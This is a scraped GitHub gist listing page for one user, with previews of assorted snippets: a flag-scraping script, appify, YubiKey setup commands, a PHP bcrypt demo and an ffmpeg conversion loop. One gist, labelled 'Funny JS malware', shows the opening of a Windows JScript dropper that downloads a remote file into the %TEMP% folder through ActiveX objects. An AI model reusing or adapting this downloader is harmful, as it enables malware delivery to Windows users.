Skip to content

Instantly share code, notes, and snippets.

View herrjemand's full-sized avatar
🎯

Ackermann Yuriy herrjemand

🎯
View GitHub Profile
@herrjemand
herrjemand / flag_wiki.py
Last active August 29, 2015 14:13
Script to download flags using mledoze/countries data set.
from lxml import html #pip install lxml
import requests, time, os.path, json
save_to = 'flags_new' #folder where you want to save. NO / !
temp_data, data = {}, {}
errors = 'Errors: \n'
def stripper(c_name):
print('Doing: ', c_name)
page = requests.get('https://en.wikipedia.org/wiki/File:Flag_of_' + c_name + '.svg') #loads the webpage
tree = html.fromstring(page.text) #html to xpath tree
@herrjemand
herrjemand / appify
Last active August 29, 2015 14:16 — forked from mathiasbynens/appify
#!/bin/bash
if [ "$1" = "-h" -o "$1" = "--help" -o -z "$1" ]; then cat <<EOF
appify v3.0.1 for Mac OS X - http://mths.be/appify
Creates the simplest possible Mac app from a shell script.
Appify takes a shell script as its first argument:
`basename "$0"` my-script.sh
@herrjemand
herrjemand / DR.Meth save
Last active August 29, 2015 14:16
dr.meth
MTIxOTkyNDk1MTQyNjE1MTQ3OTV8QW5vbnw3fDFlKzU0fDNlKzQ1fDEsMTEsMTMsMTJ8ODk5OTkxNjAwMDMzOTUwfDB8MHwwfDB8MHwwfDB8MHwwfDB8MHwwfDB8MHwwfDB8
MHwwfDExfDExfDF8MXw0M3wxfDF8MXwxfDB8MXwxfDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwwfDEyOTU3OTUyMjk0NDkzMDE2MDAwfDNlKzQ3fDg3fDB8
OTk5OTk5OTk5OTk5OTk5fDQzNjg1fDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwwfDB8MHwwfDB8MHwwfDB8MHwwfDB8MHww
fDB8MHwwfDB8MHwwfDB8MHwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMHwwfDIwNHwxNDI2MTY2MjkyNjc4fDE=
@herrjemand
herrjemand / yubikey.sh
Created March 13, 2015 23:29
Yubikey installation for ubuntu
sudo add-apt-repository ppa:yubico/stable
sudo apt-get update
sudo apt-get install libauth-yubikey-webclient-perl yubikey-personalization yubikey-personalization-gui
sudo wget -O /etc/udev/rules.d/70-u2f.rules https://raw.githubusercontent.com/Yubico/libu2f-host/master/70-u2f.rules
sudo reboot
<?php
$password = "id10t";
$salt = bin2hex(openssl_random_pseudo_bytes(22));
$challange = "$2a$12$";
$hash = crypt($password, $challange.$salt);
echo $hash.'<br>';
echo var_dump(crypt('id10t', $hash) === $hash)
?>
<!DOCTYPE html>
<html>
<head>
<title>RMS - Read My SMS</title>
<style type="text/css">
html,body {
height: 100%;
margin: 0px;
padding: 0px;
}
### Keybase proof
I hereby claim:
* I am herrniemand on github.
* I am niemand (https://keybase.io/niemand) on keybase.
* I have a public key whose fingerprint is B140 D3A2 5B0F BB60 5BDD 5A15 A590 46EC 30B0 584F
To claim this, I am signing this object:
@herrjemand
herrjemand / execpart.js
Last active March 26, 2016 00:21
Funny JS malware
function dl(fr, fn, rn) {
var ws = new ActiveXObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
var xo = new ActiveXObject("MSXML2.XMLHTTP");
xo.onreadystatechange = function() {
if (xo.readyState === 4) {
var xa = new ActiveXObject("ADODB.Stream");
xa.open();
xa.type = 1;
xa.write(xo.ResponseBody);
@herrjemand
herrjemand / menu_launcher.py
Last active August 29, 2015 14:27 — forked from abishur/menu_launcher.py
A simple menu system using python for the Terminal (Framebufer)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Topmenu and the submenus are based of the example found at this location http://blog.skeltonnetworks.com/2010/03/python-curses-custom-menu/
# The rest of the work was done by Matthew Bennett and he requests you keep these two mentions when you reuse the code :-)
# Basic code refactoring by Andrew Scheller
from time import sleep
import curses, os #curses is the interface for capturing key presses on the menu, os launches the files
screen = curses.initscr() #initializes a new window for capturing key presses
curses.noecho() # Disables automatic echoing of key presses (prevents program from input each key twice)
#!/bin/sh
for song in *.mp4
do
NEWFILENAME=`echo $song | sed 's/\(.*\.\)mp4/\1mp3/'`
echo Converting $song...
ffmpeg -i "$song" -vn \
-acodec libmp3lame -ac 2 -qscale:a 4 -ar 48000 \
"$NEWFILENAME"
echo Done!